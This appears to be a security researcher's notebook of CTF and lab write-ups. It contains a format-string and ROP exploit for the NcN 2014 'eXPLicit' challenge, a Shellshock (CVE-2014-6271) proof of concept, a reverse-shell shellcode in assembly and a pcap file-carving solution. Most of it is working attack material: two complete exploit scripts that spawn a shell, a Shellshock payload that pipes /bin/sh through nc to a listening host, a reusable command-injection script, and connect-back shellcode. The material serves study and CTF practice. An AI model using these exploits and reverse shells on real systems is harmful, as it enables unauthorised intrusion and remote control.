# NcN CTF Quals 2k14: eXPLicit (500 points)


# echo 0 > /proc/sys/kernel/randomize_va_space
# ./explicit
# gdb -q -p `ps axuf | grep explicit | head -n 1 | awk '{print $2}'`
Attaching to process 10837
Reading symbols from /eXPLicit/explicit...(no debugging symbols found)...done.
0x0806093c in ?? ()
(gdb) set disassembly-flavor intel
(gdb) set follow-fork-mode child
(gdb) continue
Continuing.
# nc 127.0.0.1 7070
Welcome to Guess The Number Online!

Pick a number between 0 and 20: %n
^C
[New process 10894]

Program received signal SIGSEGV, Segmentation fault.
[Switching to process 10894]
0x08072d7d in ?? ()
(gdb) backtrace
#0  0x08072d7d in ?? ()
#1  0x0804f96f in ?? ()
#2  0x08048bfc in ?? ()
#3  0x08048e30 in ?? ()
#4  0x08049056 in ?? ()
#5  0x0804899b in ?? ()
(gdb) x/2i 0x0804f96f-0x5
   0x804f96a: call   0x806ea80
   0x804f96f: add    esp,0x1c
(gdb) quit
# gdb -q -p `ps axuf | grep explicit | head -n 1 | awk '{print $2}'`
Attaching to process 10837
Reading symbols from /eXPLicit/explicit...(no debugging symbols found)...done.
0x0806093c in ?? ()
(gdb) break *0x806ea80
Breakpoint 1 at 0x806ea80
(gdb) continue
Continuing.
# nc 127.0.0.1 7070
Welcome to Guess The Number Online!

Pick a number between 0 and 20: %n
[New process 10952]
[Switching to process 10952]

Breakpoint 1, 0x0806ea80 in ?? ()
(gdb) x/xw $esp
0xbffff59c: 0x0804f96f
(gdb) quit
# ./checksec.sh --file explicit
RELRO           STACK CANARY      NX            PIE             RPATH      RUNPATH      FILE
No RELRO        No canary found   NX enabled    No PIE          No RPATH   No RUNPATH   explicit
# gdb -q -x rop.py
=== BINARY ===

Path = /eXPLicit/explicit
Type = elf32
Arch = i386
EP   = 0x804897a
Low  = 0x8048140
High = 0x80ab7f4

=== PRIMITIVE GADGETS (Depth = 1) ===

inc eax
  0x806d6ff: inc eax;

inc ebx

inc ecx

inc edx

mov dword ptr [eax],ebx

mov dword ptr [eax],ecx

mov dword ptr [eax],edx
  0x806d781: mov dword ptr [eax],edx;

mov dword ptr [ebx],eax

mov dword ptr [ebx],ecx

mov dword ptr [ebx],edx

mov dword ptr [ecx],eax

mov dword ptr [ecx],ebx

mov dword ptr [ecx],edx

mov dword ptr [edx],eax
  0x808a73d: mov dword ptr [edx],eax;

mov dword ptr [edx],ebx

mov dword ptr [edx],ecx
  0x8055952: mov dword ptr [edx],ecx;

mov eax,ebx

mov eax,ecx

mov eax,edx
  0x805c1ff: mov eax,edx;
  0x8060aa7: mov eax,edx;

mov ebx,eax

mov ebx,ecx

mov ebx,edx

mov ecx,eax

mov ecx,ebx

mov ecx,edx

mov edx,eax

mov edx,ebx

mov edx,ecx

pop eax
  0x80a8ff6: pop eax;

pop ebx
  0x804d106: pop ebx;
  0x804e73c: pop ebx;
  0x804e7a3: pop ebx;
  0x805169d: pop ebx;
  0x8052239: pop ebx;
  ...

pop ecx

pop edx
  0x8060a56: pop edx;

pop esp
  0x80a8fa6: pop esp;

push eax
  0x80a8f96: push eax;

push ebx

push ecx

push edx

push esp
  0x80a9006: push esp;

xor eax,eax
  0x80551c0: xor eax,eax;
  0x8055bc0: xor eax,eax;
  0x8055c00: xor eax,eax;
  0x8059644: xor eax,eax;
  0x805e0c8: xor eax,eax;
  ...

xor ebx,ebx

xor ecx,ecx

xor edx,edx

int 0x80
  0x8061240: int 0x80;
  0x8082715: int 0x80;
  0x8082725: int 0x80;
  0x8082735: int 0x80;
  0x8082745: int 0x80;

=== VARIABLES ===

inc_eax = 0x806d6ff
mov_dword_ptr_eax_edx = 0x806d781
mov_dword_ptr_edx_eax = 0x808a73d
mov_dword_ptr_edx_ecx = 0x8055952
mov_eax_edx = 0x805c1ff
pop_eax = 0x80a8ff6
pop_ebx = 0x804d106
pop_edx = 0x8060a56
pop_esp = 0x80a8fa6
push_eax = 0x80a8f96
push_esp = 0x80a9006
xor_eax_eax = 0x80551c0
int_0x80 = 0x8061240
# readelf --section-headers explicit | grep '\.bss'
[23] .bss              NOBITS          080d6080 08e060 00136c 00  WA  0   0 64
# cat exploit.py
#!/usr/bin/env python

import socket
import struct
import sys

def whatoffset(what, offset):
       while what <= offset:
              what += 0x100
       what -= offset
       return what, what + offset

def fs_4writes(what, where, offset, init):
       mask     = 0xff
       offset   = 16 + offset # 4 bytes * 4 addr + offset
       what_b0  = (what      ) & mask
       what_b1  = (what >>  8) & mask
       what_b2  = (what >> 16) & mask
       what_b3  = (what >> 24) & mask

       what_b0, offset = whatoffset(what_b0, offset)
       what_b1, offset = whatoffset(what_b1, offset)
       what_b2, offset = whatoffset(what_b2, offset)
       what_b3, offset = whatoffset(what_b3, offset)

       return struct.pack('<I', where      ) + \
              struct.pack('<I', (where + 1)) + \
              struct.pack('<I', (where + 2)) + \
              struct.pack('<I', (where + 3)) + \
              ('%%%dc'    % what_b0        ) + \
              ('%%%d$hhn' % init           ) + \
              ('%%%dc'    % what_b1        ) + \
              ('%%%d$hhn' % (init + 1)     ) + \
              ('%%%dc'    % what_b2        ) + \
              ('%%%d$hhn' % (init + 2)     ) + \
              ('%%%dc'    % what_b3        ) + \
              ('%%%d$hhn' % (init + 3)     )

host = sys.argv[1]
port = int(sys.argv[2])
retaddr = int(sys.argv[3], 16)

c = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
c.connect((host, port))
r = c.recv(1024)

add_esp_0x3c = 0x808cb20
bss = 0x80d6080
inc_eax = 0x806d6ff
inc_ecx = 0x80c7a5c
int_0x80 = 0x8061240
mov_dword_ptr_edx_eax = 0x808a73d
pop_eax = 0x80ced61
pop_ebx = 0x804d106
#0x80cf077: pop ecx; or cl,byte ptr [esi]; or al,0x43; ret
pop_ecx = 0x80cf077
#0x8083fc6: pop edx; or eax,0x89c08508; ret
pop_edx = 0x8083fc6
pop_esi = 0x80499f5
xor_eax_eax = 0x80551c0

dup2_syscall = 0x3f
fd = 0x4
padding = 'P'

fs = fs_4writes(add_esp_0x3c, retaddr, 4, 7)

# ropchain = dup2(fd, 0) + dup2(fd, 1) + dup2(fd, 2) + execve('/bin/sh', 0, 0)

ropchain =    struct.pack('<I', pop_eax) + \
              struct.pack('<I', dup2_syscall) + \
              struct.pack('<I', pop_ebx) + \
              struct.pack('<I', fd) + \
              struct.pack('<I', int_0x80) + \
\
              struct.pack('<I', pop_eax) + \
              struct.pack('<I', dup2_syscall) + \
              struct.pack('<I', inc_ecx) + \
              struct.pack('<I', int_0x80) + \
\
              struct.pack('<I', pop_eax) + \
              struct.pack('<I', dup2_syscall) + \
              struct.pack('<I', inc_ecx) + \
              struct.pack('<I', int_0x80) + \
\
              struct.pack('<I', pop_edx) + \
              struct.pack('<I', bss) + \
              struct.pack('<I', pop_eax) + \
              '/bin' + \
              struct.pack('<I', mov_dword_ptr_edx_eax) + \
\
              struct.pack('<I', pop_edx) + \
              struct.pack('<I', bss + 4) + \
              struct.pack('<I', pop_eax) + \
              '//sh' + \
              struct.pack('<I', mov_dword_ptr_edx_eax) + \
\
              struct.pack('<I', pop_edx) + \
              struct.pack('<I', bss + 8) + \
              struct.pack('<I', xor_eax_eax) + \
              struct.pack('<I', mov_dword_ptr_edx_eax) + \
\
              struct.pack('<I', pop_esi) + \
              struct.pack('<I', bss + 8) + \
              struct.pack('<I', pop_ecx) + \
              struct.pack('<I', bss + 8) + \
              struct.pack('<I', pop_ebx) + \
              struct.pack('<I', bss) + \
              struct.pack('<I', pop_edx) + \
              struct.pack('<I', bss + 8) + \
\
              struct.pack('<I', xor_eax_eax) + \
              struct.pack('<I', inc_eax) * 11 + \
\
              struct.pack('<I', int_0x80)

shellcode =   struct.pack('<I', add_esp_0x3c) + \
              fs + \
              padding + \
              ropchain

c.send(shellcode + '\n')

command = ''
while command[:-1] != 'exit':
       print '> ',
       sys.stdout.flush()
       command = sys.stdin.readline()
       c.send(command)
       sys.stdout.write(c.recv(1024))

c.close()
# ./exploit.py 127.0.0.1 7070 0xbffff59c
>

Another solution using mprotect (based on @esanfelix exploit)

# ./search_instructions.py /eXPLicit/explicit mov+eax,0x3 int+0x80 # read
 805ef57: b8 03 00 00 00        mov    eax,0x3
 805ef5c: cd 80                 int    0x80

 805ef7e: b8 03 00 00 00        mov    eax,0x3
 805ef83: cd 80                 int    0x80

 8082a07: b8 36 00 00 00        mov    eax,0x36
 8082a0c: cd 80                 int    0x80
# ./search_instructions.py /eXPLicit/explicit mov+eax,0x7d int+0x80 # mprotect
 805fa3d: b8 7d 00 00 00        mov    eax,0x7d
 805fa42: cd 80                 int    0x80

# gdb -q explicit
(gdb) x/10i 0x805ef4a
   0x805ef4a: push   ebx
   0x805ef4b: mov    edx,DWORD PTR [esp+0x10]
   0x805ef4f: mov    ecx,DWORD PTR [esp+0xc]
   0x805ef53: mov    ebx,DWORD PTR [esp+0x8]
   0x805ef57: mov    eax,0x3
   0x805ef5c: int    0x80
   0x805ef5e: pop    ebx
   0x805ef5f: cmp    eax,0xfffff001
   0x805ef64: jae    0x8062270
   0x805ef6a: ret
(gdb) x/10i 0x805fa30
   0x805fa30: push   ebx
   0x805fa31: mov    edx,DWORD PTR [esp+0x10]
   0x805fa35: mov    ecx,DWORD PTR [esp+0xc]
   0x805fa39: mov    ebx,DWORD PTR [esp+0x8]
   0x805fa3d: mov    eax,0x7d
   0x805fa42: int    0x80
   0x805fa44: pop    ebx
   0x805fa45: cmp    eax,0xfffff001
   0x805fa4a: jae    0x8062270
   0x805fa50: ret

# ./search_instructions.py /eXPLicit/explicit pop pop pop ret
 8048218: 5e                    pop    esi
 8048219: 5f                    pop    edi
 804821a: 5d                    pop    ebp
 804821b: c3                    ret
# cat exploit-mprotect.py 
#!/usr/bin/env python

import socket
import struct
import sys
import time

def whatoffset(what, offset):
 while what <= offset:
  what += 0x100
 what -= offset
 return what, what + offset

def fs_4writes(what, where, offset, init):
 mask     = 0xff
 offset   = 16 + offset # 4 bytes * 4 addr + offset
 what_b0  = (what      ) & mask
 what_b1  = (what >>  8) & mask
 what_b2  = (what >> 16) & mask
 what_b3  = (what >> 24) & mask

 what_b0, offset = whatoffset(what_b0, offset)
 what_b1, offset = whatoffset(what_b1, offset)
 what_b2, offset = whatoffset(what_b2, offset)
 what_b3, offset = whatoffset(what_b3, offset)

 return struct.pack('<I', where      ) + \
  struct.pack('<I', (where + 1)) + \
  struct.pack('<I', (where + 2)) + \
  struct.pack('<I', (where + 3)) + \
  ('%%%dc'    % what_b0        ) + \
  ('%%%d$hhn' % init           ) + \
  ('%%%dc'    % what_b1        ) + \
  ('%%%d$hhn' % (init + 1)     ) + \
  ('%%%dc'    % what_b2        ) + \
  ('%%%d$hhn' % (init + 2)     ) + \
  ('%%%dc'    % what_b3        ) + \
  ('%%%d$hhn' % (init + 3)     )

host = sys.argv[1]
port = int(sys.argv[2])
retaddr = int(sys.argv[3], 16)

c = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
c.connect((host, port))
r = c.recv(1024)

add_esp_0x3c = 0x808cb20
bss = 0x80d6080
mprotect = 0x805fa30
page_size = 0x1000
page_aligned = bss & ~(page_size - 1)
pop_pop_pop_ret = 0x8048218
prot = 0x4 # [x]wr
read = 0x805ef4a

fd = 0x4
padding = 'P'

fs = fs_4writes(add_esp_0x3c, retaddr, 4, 7)

dup2   = "\x31\xc0\x31\xdb\x31\xc9\xb1\x03\xfe\xc9\xb0\x3f\xb3" + struct.pack('B', fd) + "\xcd\x80\x75\xf6"
execve = "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\xb0\x0b\xcd\x80"

shellcode_s2 = dup2 + execve

count = len(shellcode_s2) + 1

# ropchain = read(fd, bss, len(shellcode_s2)) + mprotect(page_aligned, page_size, prot)

ropchain = struct.pack('<I', read) + \
  struct.pack('<I', pop_pop_pop_ret) + \
  struct.pack('<I', fd) + \
  struct.pack('<I', bss) + \
  struct.pack('<I', count) + \
\
  struct.pack('<I', mprotect) + \
  struct.pack('<I', bss) + \
  struct.pack('<I', page_aligned) + \
  struct.pack('<I', page_size) + \
  struct.pack('<I', prot)

shellcode_s1 = struct.pack('<I', add_esp_0x3c) + \
  fs + \
  padding + \
  ropchain

c.send(shellcode_s1 + '\n')
time.sleep(0.2)
c.send(shellcode_s2 + '\n')

command = ''
while command[:-1] != 'exit':
 print '> ',
 sys.stdout.flush()
 command = sys.stdin.readline()
 c.send(command)
 sys.stdout.write(c.recv(1024))

c.close()
# ./exploit-mprotect.py 127.0.0.1 7070 0xbffff59c
>

# CVE-2014-6271: Bash shellshock


Reverse shell PoC

- Vulnerable server

# a2enmod cgi
# sed -i 's/#Include conf-available\/serve-cgi-bin.conf/Include conf-available\/serve-cgi-bin.conf/' /etc/apache2/sites-available/000-default.conf
# service apache2 restart
# cat /usr/lib/cgi-bin/env.sh
#!/bin/bash

echo 'Content-type: text/html'
echo ''

echo '<html>'
echo '<head>'
echo '<title>cve-2014-6271</title>'
echo '</head>'
echo '<body>'
echo '<pre>'

/usr/bin/env

echo '</pre>'
echo '</body>'
echo '</hmtl>'

- Client

# ip="192.168.1.1"
# nc -v --listen $ip --port=1234
# ip="192.168.1.1"
# payload="() { :; }; /bin/bash -c 'rm -f /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc $ip 1234 > /tmp/f'"
# url="http://192.168.1.2/cgi-bin/env.sh"
# curl --verbose --user-agent "$payload" --referer "$payload" $url
nc: connect to 192.168.1.1 1234 from 192.168.1.2
$

Scripts

# cat cve-2014-6271-cmd
#!/bin/bash

#https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2014-6271

proto="$1"
host="$2"
port="$3"
path="$4"
cmd="$5"

if [ "$proto" == "https" ]; then
        insecure='--insecure'
else
        insecure=''
fi

url="$proto://$host:$port/$path"

payload="() { :; }; echo -e '\\r\\n'; $cmd 2>&1"

curl $insecure --verbose --user-agent "$payload" --referer "$payload" $url

# ./cve-2014-6271-cmd http 127.0.0.1 1580 cgi-bin/env.sh '/bin/uname -a'

Metasploit modules

msf > use auxiliary/scanner/http/apache_mod_cgi_bash_env
msf > use exploits/multi/http/apache_mod_cgi_bash_env_exec

# Reverse TCP bind shell setting source port


SERVER# cat sc.asm 
BITS 32
section .txt
global _start
_start:
; sockfd=socket(AF_INET,SOCK_STREAM,0)
; sockfd=socket(2,1,0)
push byte 0x66          ; socketcall number (102)
pop eax
cdq                     ; xor edx,edx
xor ebx,ebx
inc ebx                 ; ebx=0x00000001 (socket)
push edx                ; edx=0x00000000
push byte 0x01
push byte 0x02
mov ecx,esp
int 0x80                ; system call
xchg esi,eax
; bind(sockfd,(struct sockaddr *)&sin,sizeof(struct sockaddr_in))
; bind(sockfd,[2,4321,0],16)
push byte 0x66          ; socketcall number (102)
pop eax
inc ebx                 ; ebx=0x00000002 (bind)
push edx                ; edx=0x00000000 (Any available source IP)
push word 0xe110        ; source port = 4321
push word bx            ; 0x0002
mov ecx,esp
push byte 0x10          ; 16
push ecx
push esi
mov ecx,esp
int 0x80                ; system call
; connect(sockfd,(struct sockaddr *)&sin,sizeof(struct sockaddr_in))
; connect(sockfd,[2,1234,127.0.0.1],16)
push byte 0x66          ; socketcall number (102)
pop eax
push dword 0x01bbbb7f   ; 127.187.187.1
xor ecx,ecx
mov word [esp+1],cx     ; destination ip = 127.0.0.1
push word 0xd204        ; destination port = 1234
push word bx            ; 0x0002
mov ecx,esp
push byte 0x10          ; 16
push ecx
push esi
mov ecx,esp
inc ebx                 ; ebx=0x00000003 (connect)
int 0x80                ; system call
xchg ebx,esi
; dup2(cfd,i)
push byte 0x2
pop ecx
dup_loop:
mov byte al,0x3f        ; dup2 number (63)
int 0x80                ; system call
dec ecx
jns dup_loop
; execve("/bin/sh",shell,NULL)
xor eax,eax
mov byte al,11          ; system call number
push edx                ; \0
push long 0x68732f2f    ; hs//
push long 0x6e69622f    ; nib/
mov ebx,esp             ; first parameter
push edx
mov edx,esp             ; third parameter
push ebx
mov ecx,esp             ; second parameter
int 0x80                ; system call

SERVER# nasm -f elf sc.asm && ld -o sc sc.o
CLIENT# nc -lv 127.0.0.1 1234
SERVER# ./sc

Connection from [127.0.0.1] port 1234 [tcp/*] accepted (family 2, sport 4321)
hostname
SERVER
exit
CLIENT#

# WAP Challenge 14: HTTP Traffic File Carving


# url='http://videos.pentesteracademy.com.s3.amazonaws.com/videos/wap-challenges/http-forensics2.pcap'
# wget --quiet --output-document=http-forensics2.pcapng $url
# editcap -F libpcap -T ether http-forensics2.pcapng http-forensics2.pcap
# tshark -nr http-forensics2.pcap | grep octet
 15   9.678371 192.168.1.13 -> 67.159.60.66 HTTP 1155 POST /upload_fileapi.php?3529945644=0&file=0&startpos=0&r=0.5286034531386509 HTTP/1.1  (application/octet-stream)
 63  27.056300 192.168.1.13 -> 67.159.60.61 HTTP 1161 POST /upload_fileapi.php?7792025787=0&file=0&startpos=0&r=0.3998272621670734 HTTP/1.1  (application/octet-stream)
116  46.865880 192.168.1.13 -> 67.159.60.29 HTTP 1161 POST /upload_fileapi.php?4000038131=0&file=0&startpos=0&r=0.9503461291640495 HTTP/1.1  (application/octet-stream)
182  67.593167 192.168.1.13 -> 84.39.117.75 HTTP 1160 POST /upload_fileapi.php?5200689443=0&file=0&startpos=0&r=0.02202681328946554 HTTP/1.1  (application/octet-stream)
# cat solution.py
#!/usr/bin/python

import itertools
import scapy.all as scapy
import zipfile
import os 

pcap = scapy.rdpcap("http-forensics2.pcap")
zip = []

for frame in pcap:
    if 'octet-stream' in frame[scapy.Raw].load:
        zip.append(frame[scapy.Raw].load.split('\r\n')[-3])

i = 0

perms = itertools.permutations(zip, len(zip))
for p in perms:
 zfn = str(i) + '.zip'
 zf = open(zfn, 'wb')
 for ostream in p: 
  zf.write(ostream)
 zf.close()
 if zipfile.is_zipfile(zfn):
  try:
   zf = zipfile.ZipFile(zfn, 'r')
   zf.extractall()
   print zf.namelist()
   os.exit()
  except:
   os.remove(zfn)
   pass
  i += 1
# ./solution.py
['split-file/', 'split-file/pass']
# cat split-file/pass
12wsdqwe32109